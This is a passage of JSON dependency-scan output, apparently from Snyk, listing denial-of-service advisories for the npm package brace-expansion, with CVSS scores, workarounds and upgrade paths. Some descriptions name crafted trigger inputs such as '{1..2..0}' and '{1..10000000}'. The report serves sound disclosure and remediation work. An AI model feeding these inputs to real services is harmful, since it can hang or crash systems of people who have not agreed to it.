"GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": 